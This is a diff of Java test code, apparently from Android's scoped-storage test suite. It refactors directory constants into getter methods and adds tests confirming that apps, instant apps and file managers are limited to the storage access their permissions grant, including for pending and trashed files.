-        final File otherAppAudioFile = new File(MUSIC_DIR, "other_" + AUDIO_FILE_NAME);
-        final File topLevelAudioFile = new File(EXTERNAL_STORAGE_DIR, AUDIO_FILE_NAME);
-        final File audioInAnObviouslyWrongPlace = new File(PICTURES_DIR, AUDIO_FILE_NAME);
+        final File otherAppAudioFile = new File(getMusicDir(), "other_" + AUDIO_FILE_NAME);
+        final File topLevelAudioFile = new File(getExternalStorageDir(), AUDIO_FILE_NAME);
+        final File audioInAnObviouslyWrongPlace = new File(getPicturesDir(), AUDIO_FILE_NAME);
 
         try {
             installApp(TEST_APP_A);
@@ -1217,11 +1348,11 @@
 
     @Test
     public void testSystemGalleryCanRenameImagesAndVideos() throws Exception {
-        final File otherAppVideoFile = new File(DCIM_DIR, "other_" + VIDEO_FILE_NAME);
-        final File imageFile = new File(PICTURES_DIR, IMAGE_FILE_NAME);
-        final File videoFile = new File(PICTURES_DIR, VIDEO_FILE_NAME);
-        final File topLevelVideoFile = new File(EXTERNAL_STORAGE_DIR, VIDEO_FILE_NAME);
-        final File musicFile = new File(MUSIC_DIR, AUDIO_FILE_NAME);
+        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+        final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+        final File topLevelVideoFile = new File(getExternalStorageDir(), VIDEO_FILE_NAME);
+        final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
         try {
             installApp(TEST_APP_A);
             allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
@@ -1257,6 +1388,7 @@
             videoFile.delete();
             topLevelVideoFile.delete();
             executeShellCommand("rm  " + musicFile.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), musicFile);
             denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
         }
     }
@@ -1266,19 +1398,20 @@
      */
     @Test
     public void testRenameFile() throws Exception {
-        final File nonMediaDir = new File(DOWNLOAD_DIR, TEST_DIRECTORY_NAME);
-        final File pdfFile1 = new File(DOWNLOAD_DIR, NONMEDIA_FILE_NAME);
+        final File downloadDir = getDownloadDir();
+        final File nonMediaDir = new File(downloadDir, TEST_DIRECTORY_NAME);
+        final File pdfFile1 = new File(downloadDir, NONMEDIA_FILE_NAME);
         final File pdfFile2 = new File(nonMediaDir, NONMEDIA_FILE_NAME);
-        final File videoFile1 = new File(DCIM_DIR, VIDEO_FILE_NAME);
-        final File videoFile2 = new File(MOVIES_DIR, VIDEO_FILE_NAME);
-        final File videoFile3 = new File(DOWNLOAD_DIR, VIDEO_FILE_NAME);
+        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+        final File videoFile3 = new File(downloadDir, VIDEO_FILE_NAME);
 
         try {
             // Renaming non media file to media directory is not allowed.
             assertThat(pdfFile1.createNewFile()).isTrue();
-            assertCantRenameFile(pdfFile1, new File(DCIM_DIR, NONMEDIA_FILE_NAME));
-            assertCantRenameFile(pdfFile1, new File(MUSIC_DIR, NONMEDIA_FILE_NAME));
-            assertCantRenameFile(pdfFile1, new File(MOVIES_DIR, NONMEDIA_FILE_NAME));
+            assertCantRenameFile(pdfFile1, new File(getDcimDir(), NONMEDIA_FILE_NAME));
+            assertCantRenameFile(pdfFile1, new File(getMusicDir(), NONMEDIA_FILE_NAME));
+            assertCantRenameFile(pdfFile1, new File(getMoviesDir(), NONMEDIA_FILE_NAME));
 
             // Renaming non media files to non media directories is allowed.
             if (!nonMediaDir.exists()) {
@@ -1307,13 +1440,13 @@
      */
     @Test
     public void testRenameFileType() throws Exception {
-        final File pdfFile = new File(DOWNLOAD_DIR, NONMEDIA_FILE_NAME);
-        final File videoFile = new File(DCIM_DIR, VIDEO_FILE_NAME);
+        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        final File videoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
         try {
             assertThat(pdfFile.createNewFile()).isTrue();
             assertThat(videoFile.exists()).isFalse();
             // Moving pdfFile to DCIM directory is not allowed.
-            assertCantRenameFile(pdfFile, new File(DCIM_DIR, NONMEDIA_FILE_NAME));
+            assertCantRenameFile(pdfFile, new File(getDcimDir(), NONMEDIA_FILE_NAME));
             // However, moving pdfFile to DCIM directory with changing the mime type to video is
             // allowed.
             assertCanRenameFile(pdfFile, videoFile);
@@ -1332,8 +1465,8 @@
      */
     @Test
     public void testRenameAndReplaceFile() throws Exception {
-        final File videoFile1 = new File(DCIM_DIR, VIDEO_FILE_NAME);
-        final File videoFile2 = new File(MOVIES_DIR, VIDEO_FILE_NAME);
+        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
         final ContentResolver cr = getContentResolver();
         try {
             assertThat(videoFile1.createNewFile()).isTrue();
@@ -1360,8 +1493,8 @@
      */
     @Test
     public void testRenameFileNotOwned() throws Exception {
-        final File videoFile1 = new File(DCIM_DIR, VIDEO_FILE_NAME);
-        final File videoFile2 = new File(MOVIES_DIR, VIDEO_FILE_NAME);
+        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
         try {
             installApp(TEST_APP_A);
             assertThat(createFileAs(TEST_APP_A, videoFile1.getAbsolutePath())).isTrue();
@@ -1385,16 +1518,18 @@
      */
     @Test
     public void testRenameDirectory() throws Exception {
+        final File dcimDir = getDcimDir();
+        final File downloadDir = getDownloadDir();
         final String nonMediaDirectoryName = TEST_DIRECTORY_NAME + "NonMedia";
-        final File nonMediaDirectory = new File(DOWNLOAD_DIR, nonMediaDirectoryName);
+        final File nonMediaDirectory = new File(downloadDir, nonMediaDirectoryName);
         final File pdfFile = new File(nonMediaDirectory, NONMEDIA_FILE_NAME);
 
         final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        final File mediaDirectory1 = new File(DCIM_DIR, mediaDirectoryName);
+        final File mediaDirectory1 = new File(dcimDir, mediaDirectoryName);
         final File videoFile1 = new File(mediaDirectory1, VIDEO_FILE_NAME);
-        final File mediaDirectory2 = new File(DOWNLOAD_DIR, mediaDirectoryName);
+        final File mediaDirectory2 = new File(downloadDir, mediaDirectoryName);
         final File videoFile2 = new File(mediaDirectory2, VIDEO_FILE_NAME);
-        final File mediaDirectory3 = new File(MOVIES_DIR, TEST_DIRECTORY_NAME);
+        final File mediaDirectory3 = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
         final File videoFile3 = new File(mediaDirectory3, VIDEO_FILE_NAME);
         final File mediaDirectory4 = new File(mediaDirectory3, mediaDirectoryName);
 
@@ -1404,7 +1539,7 @@
             }
             assertThat(pdfFile.createNewFile()).isTrue();
             // Move directory with pdf file to DCIM directory is not allowed.
-            assertThat(nonMediaDirectory.renameTo(new File(DCIM_DIR, nonMediaDirectoryName)))
+            assertThat(nonMediaDirectory.renameTo(new File(dcimDir, nonMediaDirectoryName)))
                     .isFalse();
 
             if (!mediaDirectory1.exists()) {
@@ -1412,9 +1547,9 @@
             }
             assertThat(videoFile1.createNewFile()).isTrue();
             // Renaming to and from default directories is not allowed.
-            assertThat(mediaDirectory1.renameTo(DCIM_DIR)).isFalse();
+            assertThat(mediaDirectory1.renameTo(dcimDir)).isFalse();
             // Moving top level default directories is not allowed.
-            assertCantRenameDirectory(DOWNLOAD_DIR, new File(DCIM_DIR, TEST_DIRECTORY_NAME), null);
+            assertCantRenameDirectory(downloadDir, new File(dcimDir, TEST_DIRECTORY_NAME), null);
 
             // Moving media directory to Download directory is allowed.
             assertCanRenameDirectory(mediaDirectory1, mediaDirectory2, new File[] {videoFile1},
@@ -1457,8 +1592,8 @@
     @Test
     public void testRenameDirectoryNotOwned() throws Exception {
         final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        File mediaDirectory1 = new File(DCIM_DIR, mediaDirectoryName);
-        File mediaDirectory2 = new File(MOVIES_DIR, mediaDirectoryName);
+        File mediaDirectory1 = new File(getDcimDir(), mediaDirectoryName);
+        File mediaDirectory2 = new File(getMoviesDir(), mediaDirectoryName);
         File videoFile = new File(mediaDirectory1, VIDEO_FILE_NAME);
 
         try {
@@ -1486,8 +1621,8 @@
     @Test
     public void testRenameEmptyDirectory() throws Exception {
         final String emptyDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        File emptyDirectoryOldPath = new File(DCIM_DIR, emptyDirectoryName);
-        File emptyDirectoryNewPath = new File(MOVIES_DIR, TEST_DIRECTORY_NAME);
+        File emptyDirectoryOldPath = new File(getDcimDir(), emptyDirectoryName);
+        File emptyDirectoryNewPath = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
         try {
             if (emptyDirectoryOldPath.exists()) {
                 executeShellCommand("rm -r " + emptyDirectoryOldPath.getPath());
@@ -1502,29 +1637,93 @@
 
     @Test
     public void testManageExternalStorageCanCreateFilesAnywhere() throws Exception {
-        final File topLevelPdf = new File(EXTERNAL_STORAGE_DIR, NONMEDIA_FILE_NAME);
-        final File musicFileInMovies = new File(MOVIES_DIR, AUDIO_FILE_NAME);
-        final File imageFileInDcim = new File(DCIM_DIR, IMAGE_FILE_NAME);
+        pollForManageExternalStorageAllowed();
+
+        final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+        final File musicFileInMovies = new File(getMoviesDir(), AUDIO_FILE_NAME);
+        final File imageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
+
+        // Nothing special about this, anyone can create an image file in DCIM
+        assertCanCreateFile(imageFileInDcim);
+        // This is where we see the special powers of MANAGE_EXTERNAL_STORAGE, because it can
+        // create a top level file
+        assertCanCreateFile(topLevelPdf);
+        // It can even create a music file in Pictures
+        assertCanCreateFile(musicFileInMovies);
+    }
+
+    @Test
+    public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
+        pollForManageExternalStorageAllowed();
+
         try {
-            allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
-            // Nothing special about this, anyone can create an image file in DCIM
-            assertCanCreateFile(imageFileInDcim);
-            // This is where we see the special powers of MANAGE_EXTERNAL_STORAGE, because it can
-            // create a top level file
-            assertCanCreateFile(topLevelPdf);
-            // It can even create a music file in Pictures
-            assertCanCreateFile(musicFileInMovies);
+            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
+            installAppWithStoragePermissions(TEST_APP_A);
+
+            // Let app A create a file in its data dir
+            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
+            final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+                    NONMEDIA_FILE_NAME);
+            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+
+            // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+            // file manager app doesn't have access to other app's external files directory
+            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+            assertThat(otherAppExternalDataFile.delete()).isFalse();
+
+            assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
+
+            assertThrows(IOException.class,
+                    () -> { otherAppExternalDataFile.createNewFile(); });
+
         } finally {
-            denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
+            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
         }
     }
 
     /**
+     * Tests that an instant app can't access external storage.
+     */
+    @Test
+    @AppModeInstant
+    public void testInstantAppsCantAccessExternalStorage() throws Exception {
+        assumeTrue("This test requires that the test runs as an Instant app",
+                getContext().getPackageManager().isInstantApp());
+        assertThat(getContext().getPackageManager().isInstantApp()).isTrue();
+
+        // Can't read ExternalStorageDir
+        assertThat(getExternalStorageDir().list()).isNull();
+
+        // Can't create a top-level direcotry
+        final File topLevelDir = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME);
+        assertThat(topLevelDir.mkdir()).isFalse();
+
+        // Can't create file under root dir
+        final File newTxtFile = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+        assertThrows(IOException.class,
+                () -> { newTxtFile.createNewFile(); });
+
+        // Can't create music file under /MUSIC
+        final File newMusicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
+        assertThrows(IOException.class,
+                () -> { newMusicFile.createNewFile(); });
+
+        // getExternalFilesDir() is not null
+        assertThat(getExternalFilesDir()).isNotNull();
+
+        // Can't read/write app specific dir
+        assertThat(getExternalFilesDir().list()).isNull();
+        assertThat(getExternalFilesDir().exists()).isFalse();
+    }
+
+    /**
      * Test that apps can create and delete hidden file.
      */
     @Test
     public void testCanCreateHiddenFile() throws Exception {
-        final File hiddenImageFile = new File(DOWNLOAD_DIR, ".hiddenFile" + IMAGE_FILE_NAME);
+        final File hiddenImageFile = new File(getDownloadDir(), ".hiddenFile" + IMAGE_FILE_NAME);
         try {
             assertThat(hiddenImageFile.createNewFile()).isTrue();
             // Write to hidden file is allowed.
@@ -1535,7 +1734,7 @@
 
             assertNotMediaTypeImage(hiddenImageFile);
 
-            assertDirectoryContains(DOWNLOAD_DIR, hiddenImageFile);
+            assertDirectoryContains(getDownloadDir(), hiddenImageFile);
             assertThat(getFileRowIdFromDatabase(hiddenImageFile)).isNotEqualTo(-1);
 
             // We can delete hidden file
@@ -1552,9 +1751,9 @@
     @Test
     public void testCanRenameHiddenFile() throws Exception {
         final String hiddenFileName = ".hidden" + IMAGE_FILE_NAME;
-        final File hiddenImageFile1 = new File(DCIM_DIR, hiddenFileName);
-        final File hiddenImageFile2 = new File(DOWNLOAD_DIR, hiddenFileName);
-        final File imageFile = new File(DOWNLOAD_DIR, IMAGE_FILE_NAME);
+        final File hiddenImageFile1 = new File(getDcimDir(), hiddenFileName);
+        final File hiddenImageFile2 = new File(getDownloadDir(), hiddenFileName);
+        final File imageFile = new File(getDownloadDir(), IMAGE_FILE_NAME);
         try {
             assertThat(hiddenImageFile1.createNewFile()).isTrue();
             assertCanRenameFile(hiddenImageFile1, hiddenImageFile2);
@@ -1579,9 +1778,9 @@
      */
     @Test
     public void testHiddenDirectory() throws Exception {
-        final File hiddenDir = new File(DOWNLOAD_DIR, ".hidden" + TEST_DIRECTORY_NAME);
+        final File hiddenDir = new File(getDownloadDir(), ".hidden" + TEST_DIRECTORY_NAME);
         final File hiddenImageFile = new File(hiddenDir, IMAGE_FILE_NAME);
-        final File nonHiddenDir = new File(DOWNLOAD_DIR, TEST_DIRECTORY_NAME);
+        final File nonHiddenDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
         final File imageFile = new File(nonHiddenDir, IMAGE_FILE_NAME);
         try {
             if (!hiddenDir.exists()) {
@@ -1612,7 +1811,7 @@
      */
     @Test
     public void testHiddenDirectory_nomedia() throws Exception {
-        final File directoryNoMedia = new File(DOWNLOAD_DIR, "nomedia" + TEST_DIRECTORY_NAME);
+        final File directoryNoMedia = new File(getDownloadDir(), "nomedia" + TEST_DIRECTORY_NAME);
         final File noMediaFile = new File(directoryNoMedia, ".nomedia");
         final File imageFile = new File(directoryNoMedia, IMAGE_FILE_NAME);
         final File videoFile = new File(directoryNoMedia, VIDEO_FILE_NAME);
@@ -1651,17 +1850,18 @@
      */
     @Test
     public void testListHiddenFile() throws Exception {
+        final File dcimDir = getDcimDir();
         final String hiddenImageFileName = ".hidden" + IMAGE_FILE_NAME;
-        final File hiddenImageFile = new File(DCIM_DIR, hiddenImageFileName);
+        final File hiddenImageFile = new File(dcimDir, hiddenImageFileName);
         try {
             assertThat(hiddenImageFile.createNewFile()).isTrue();
             assertNotMediaTypeImage(hiddenImageFile);
 
-            assertDirectoryContains(DCIM_DIR, hiddenImageFile);
+            assertDirectoryContains(dcimDir, hiddenImageFile);
 
             installApp(TEST_APP_A, true);
             // TestApp with read permissions can't see the hidden image file created by other app
-            assertThat(listAs(TEST_APP_A, DCIM_DIR.getAbsolutePath()))
+            assertThat(listAs(TEST_APP_A, dcimDir.getAbsolutePath()))
                     .doesNotContain(hiddenImageFileName);
 
             final int testAppUid =
@@ -1669,7 +1869,7 @@
             // FileManager can see the hidden image file created by other app
             try {
                 allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-                assertThat(listAs(TEST_APP_A, DCIM_DIR.getAbsolutePath()))
+                assertThat(listAs(TEST_APP_A, dcimDir.getAbsolutePath()))
                         .contains(hiddenImageFileName);
             } finally {
                 denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
@@ -1678,7 +1878,7 @@
             // Gallery can not see the hidden image file created by other app
             try {
                 allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-                assertThat(listAs(TEST_APP_A, DCIM_DIR.getAbsolutePath()))
+                assertThat(listAs(TEST_APP_A, dcimDir.getAbsolutePath()))
                         .doesNotContain(hiddenImageFileName);
             } finally {
                 denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
@@ -1690,10 +1890,155 @@
     }
 
     @Test
+    public void testOpenPendingAndTrashed() throws Exception {
+        final File pendingImageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File trashedVideoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+        final File pendingPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+        final File trashedPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        Uri pendingImgaeFileUri = null;
+        Uri trashedVideoFileUri = null;
+        Uri pendingPdfFileUri = null;
+        Uri trashedPdfFileUri = null;
+        try {
+            installAppWithStoragePermissions(TEST_APP_A);
+
+            pendingImgaeFileUri = createPendingFile(pendingImageFile);
+            assertOpenPendingOrTrashed(pendingImgaeFileUri, TEST_APP_A, /*isImageOrVideo*/ true);
+
+            pendingPdfFileUri = createPendingFile(pendingPdfFile);
+            assertOpenPendingOrTrashed(pendingPdfFileUri, TEST_APP_A,
+                    /*isImageOrVideo*/ false);
+
+            trashedVideoFileUri = createTrashedFile(trashedVideoFile);
+            assertOpenPendingOrTrashed(trashedVideoFileUri, TEST_APP_A, /*isImageOrVideo*/ true);
+
+            trashedPdfFileUri = createTrashedFile(trashedPdfFile);
+            assertOpenPendingOrTrashed(trashedPdfFileUri, TEST_APP_A,
+                    /*isImageOrVideo*/ false);
+
+        } finally {
+            deleteFiles(pendingImageFile, pendingImageFile, trashedVideoFile,
+                    trashedPdfFile);
+            deleteWithMediaProviderNoThrow(pendingImgaeFileUri, trashedVideoFileUri,
+                    pendingPdfFileUri, trashedPdfFileUri);
+            uninstallAppNoThrow(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testListPendingAndTrashed() throws Exception {
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        Uri imageFileUri = null;
+        Uri pdfFileUri = null;
+        try {
+            installAppWithStoragePermissions(TEST_APP_A);
+
+            imageFileUri = createPendingFile(imageFile);
+            // Check that only owner package, file manager and system gallery can list pending image
+            // file.
+            assertListPendingOrTrashed(imageFileUri, imageFile, TEST_APP_A,
+                    /*isImageOrVideo*/ true);
+
+            trashFile(imageFileUri);
+            // Check that only owner package, file manager and system gallery can list trashed image
+            // file.
+            assertListPendingOrTrashed(imageFileUri, imageFile, TEST_APP_A,
+                    /*isImageOrVideo*/ true);
+
+            pdfFileUri = createPendingFile(pdfFile);
+            // Check that only owner package, file manager can list pending non media file.
+            assertListPendingOrTrashed(pdfFileUri, pdfFile, TEST_APP_A,
+                    /*isImageOrVideo*/ false);
+
+            trashFile(pdfFileUri);
+            // Check that only owner package, file manager can list trashed non media file.
+            assertListPendingOrTrashed(pdfFileUri, pdfFile, TEST_APP_A,
+                    /*isImageOrVideo*/ false);
+        } finally {
+            deleteWithMediaProviderNoThrow(imageFileUri, pdfFileUri);
+            deleteFiles(imageFile, pdfFile);
+            uninstallAppNoThrow(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testDeletePendingAndTrashed() throws Exception {
+        final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+        // Actual path of the file gets rewritten for pending and trashed files.
+        String pendingVideoFilePath = null;
+        String trashedImageFilePath = null;
+        String pendingPdfFilePath = null;
+        String trashedPdfFilePath = null;
+        try {
+            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+            // App can delete its own pending and trashed file.
+            assertCanDeletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+                    trashedPdfFilePath);
+
+            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+            installAppWithStoragePermissions(TEST_APP_A);
+
+            // App can't delete other app's pending and trashed file.
+            assertCantDeletePathsAs(TEST_APP_A, pendingVideoFilePath, trashedImageFilePath,
+                    pendingPdfFilePath, trashedPdfFilePath);
+
+            final int testAppUid =
+                    getContext().getPackageManager().getPackageUid(TEST_APP_A.getPackageName(), 0);
+            try {
+                allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+                // File Manager can delete any pending and trashed file
+                assertCanDeletePathsAs(TEST_APP_A, pendingVideoFilePath, trashedImageFilePath,
+                        pendingPdfFilePath, trashedPdfFilePath);
+            } finally {
+                denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+            }
+
+            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+            try {
+                allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+                // System Gallery can delete any pending and trashed image or video file.
+                assertTrue(isMediaTypeImageOrVideo(new File(pendingVideoFilePath)));
+                assertTrue(isMediaTypeImageOrVideo(new File(trashedImageFilePath)));
+                assertCanDeletePathsAs(TEST_APP_A, pendingVideoFilePath, trashedImageFilePath);
+
+                // System Gallery can't delete other app's pending and trashed pdf file.
+                assertFalse(isMediaTypeImageOrVideo(new File(pendingPdfFilePath)));
+                assertFalse(isMediaTypeImageOrVideo(new File(trashedPdfFilePath)));
+                assertCantDeletePathsAs(TEST_APP_A, pendingPdfFilePath, trashedPdfFilePath);
+            } finally {
+                denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+            }
+        } finally {
+            deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+                    trashedPdfFilePath);
+            deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
+            uninstallAppNoThrow(TEST_APP_A);
+        }
+    }
+
+    @Test
     public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
-        final File otherAppPdf = new File(DOWNLOAD_DIR, "other" + NONMEDIA_FILE_NAME);
-        final File otherAppImage = new File(DCIM_DIR, "other" + IMAGE_FILE_NAME);
-        final File otherAppMusic = new File(MUSIC_DIR, "other" + AUDIO_FILE_NAME);
+        pollForManageExternalStorageAllowed();
+
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImage = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         try {
             installApp(TEST_APP_A);
 
@@ -1702,8 +2047,6 @@
             assertThat(createFileAs(TEST_APP_A, otherAppImage.getPath())).isTrue();
             assertThat(createFileAs(TEST_APP_A, otherAppMusic.getPath())).isTrue();
 
-            allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
-
             assertThat(otherAppPdf.delete()).isTrue();
             assertThat(otherAppPdf.exists()).isFalse();
 
@@ -1713,7 +2056,6 @@
             assertThat(otherAppMusic.delete()).isTrue();
             assertThat(otherAppMusic.exists()).isFalse();
         } finally {
-            denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
             deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
             deleteFileAsNoThrow(TEST_APP_A, otherAppMusic.getAbsolutePath());
@@ -1725,10 +2067,13 @@
     public void testAccess_file() throws Exception {
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
 
-        final File otherAppPdf = new File(DOWNLOAD_DIR, "other-" + NONMEDIA_FILE_NAME);
-        final File otherAppImage = new File(DCIM_DIR, "other-" + IMAGE_FILE_NAME);
-        final File myAppPdf = new File(DOWNLOAD_DIR, "my-" + NONMEDIA_FILE_NAME);
-        final File doesntExistPdf = new File(DOWNLOAD_DIR, "nada-" + NONMEDIA_FILE_NAME);
+        final File downloadDir = getDownloadDir();
+        final File otherAppPdf = new File(downloadDir, "other-" + NONMEDIA_FILE_NAME);
+        final File shellPdfAtRoot = new File(getExternalStorageDir(),
+                "shell-" + NONMEDIA_FILE_NAME);
+        final File otherAppImage = new File(getDcimDir(), "other-" + IMAGE_FILE_NAME);
+        final File myAppPdf = new File(downloadDir, "my-" + NONMEDIA_FILE_NAME);
+        final File doesntExistPdf = new File(downloadDir, "nada-" + NONMEDIA_FILE_NAME);
 
         try {
             installApp(TEST_APP_A);
@@ -1740,14 +2085,23 @@
             assertThat(myAppPdf.createNewFile()).isTrue();
             assertFileAccess_readWrite(myAppPdf);
 
-            // We can read the other app's image file because we hold R_E_S, but we can only
-            // check exists for the pdf file.
+            // We can read the other app's image file because we hold R_E_S, but we can
+            // check only exists for the pdf files.
             assertFileAccess_readOnly(otherAppImage);
             assertFileAccess_existsOnly(otherAppPdf);
             assertAccess(doesntExistPdf, false, false, false);
+
+            // We can check only exists for another app's files on root.
+            // Use shell to create root file because TEST_APP_A is in
+            // scoped storage.
+            executeShellCommand("touch " + shellPdfAtRoot.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
+            assertFileAccess_existsOnly(shellPdfAtRoot);
         } finally {
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
             deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
+            executeShellCommand("rm " + shellPdfAtRoot.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             myAppPdf.delete();
             uninstallApp(TEST_APP_A);
         }
@@ -1757,54 +2111,62 @@
     public void testAccess_directory() throws Exception {
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+        File topLevelDir = new File(getExternalStorageDir(), "Test");
         try {
             installApp(TEST_APP_A);
 
             // Let app A create a file in its data dir
-            final File otherAppExternalDataDir = new File(EXTERNAL_FILES_DIR.getPath().replace(
+            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
                     THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
             final File otherAppExternalDataSubDir = new File(otherAppExternalDataDir, "subdir");
             final File otherAppExternalDataFile = new File(otherAppExternalDataSubDir, "abc.jpg");
             assertThat(createFileAs(TEST_APP_A, otherAppExternalDataFile.getAbsolutePath()))
                     .isTrue();
 
-            // TODO(152645823): Readd app data dir testss
-            //            // We cannot read or write the file, but app A can.
-            //            assertThat(canReadAndWriteAs(TEST_APP_A,
-            //                    otherAppExternalDataFile.getAbsolutePath())).isTrue();
-            //            assertAccess(otherAppExternalDataFile, true, false, false);
-            //
-            //            // We cannot read or write the dir, but app A can.
-            //            assertThat(canReadAndWriteAs(TEST_APP_A,
-            //                    otherAppExternalDataDir.getAbsolutePath())).isTrue();
-            //            assertAccess(otherAppExternalDataDir, true, false, false);
-            //
-            //            // We cannot read or write the sub dir, but app A can.
-            //            assertThat(canReadAndWriteAs(TEST_APP_A,
-            //                    otherAppExternalDataSubDir.getAbsolutePath())).isTrue();
-            //            assertAccess(otherAppExternalDataSubDir, true, false, false);
-            //
-            //            // We can read and write our own app dir, but app A cannot.
-            //            assertThat(canReadAndWriteAs(TEST_APP_A,
-            //                    EXTERNAL_FILES_DIR.getAbsolutePath())).isFalse();
-            assertAccess(EXTERNAL_FILES_DIR, true, true, true);
+            // We cannot read or write the file, but app A can.
+            assertThat(canReadAndWriteAs(TEST_APP_A,
+                    otherAppExternalDataFile.getAbsolutePath())).isTrue();
+            assertCannotReadOrWrite(otherAppExternalDataFile);
 
-            assertDirectoryAccess(DCIM_DIR, /* exists */ true);
-            assertDirectoryAccess(EXTERNAL_STORAGE_DIR, true);
